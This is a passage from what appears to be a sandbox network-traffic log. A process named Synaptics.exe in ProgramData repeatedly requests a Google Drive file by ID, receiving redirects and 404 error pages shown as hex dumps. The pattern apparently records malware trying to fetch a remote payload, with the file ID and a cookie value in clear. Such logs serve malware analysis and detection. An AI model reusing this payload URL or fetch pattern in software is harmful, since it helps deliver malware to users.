74	192.168.2.6	49974	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:38 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-m6ojE3bRs69OIBdpaG8JKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49984	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:39 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-90nmdv6sv6j6dFUeur2tQA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49985	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:39 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-L8x13geR7PaZHzu7kMClvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49986	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:39 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:39 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5X9l45Vdwr5Lg-E3veb59CemAP8DIfadxpvzGpvQPdmMRLYeZqmAYF3fDY2MiP4R4E Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:39 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-Ouxw-UXJjIufdXz4SOWfKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:39 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:39 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 52 6b 32 66 4c 41 48 57 63 4f 6b 68 57 41 31 6e 54 41 4a 6b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="wRk2fLAHWcOkhWA1nTAJkA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:39 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49987	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:39 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:39 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7EtClsyKastmXBRSeccHjMaTtVUg57lXD-mEgnMavog5iraLIk09ZwVaChuw1SZQMd Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:39 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-niVzn80lwd_75UBaT8_Q1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:39 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:39 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 55 38 35 47 6e 44 79 74 64 6b 75 77 53 67 4b 36 41 6c 6f 42 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="fU85GnDytdkuwSgK6AloBg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:39 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50004	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:40 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-shfjcDokGv4fB-PXUQ-FLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50003	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:40 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TVHyHqGZosntA-x0qt_6sA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50011	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:41 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-ETNo_Bwq8fQ6exC0_aIheg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50012	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:41 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:42 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6MYk4B4fRC_ZIBeNwkY3T9xT37oMAKh3qctnoRkufq_FVyRWkrFgwnUc_LmHsUkwn1Qo6pD3I Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:41 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1clAQVz6QZGOq6NgKGJLRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:42 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:42 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 36 6d 61 36 68 37 76 46 41 73 37 6b 36 52 34 6f 54 34 72 6f 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="76ma6h7vFAs7k6R4oT4rog">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:42 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50014	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
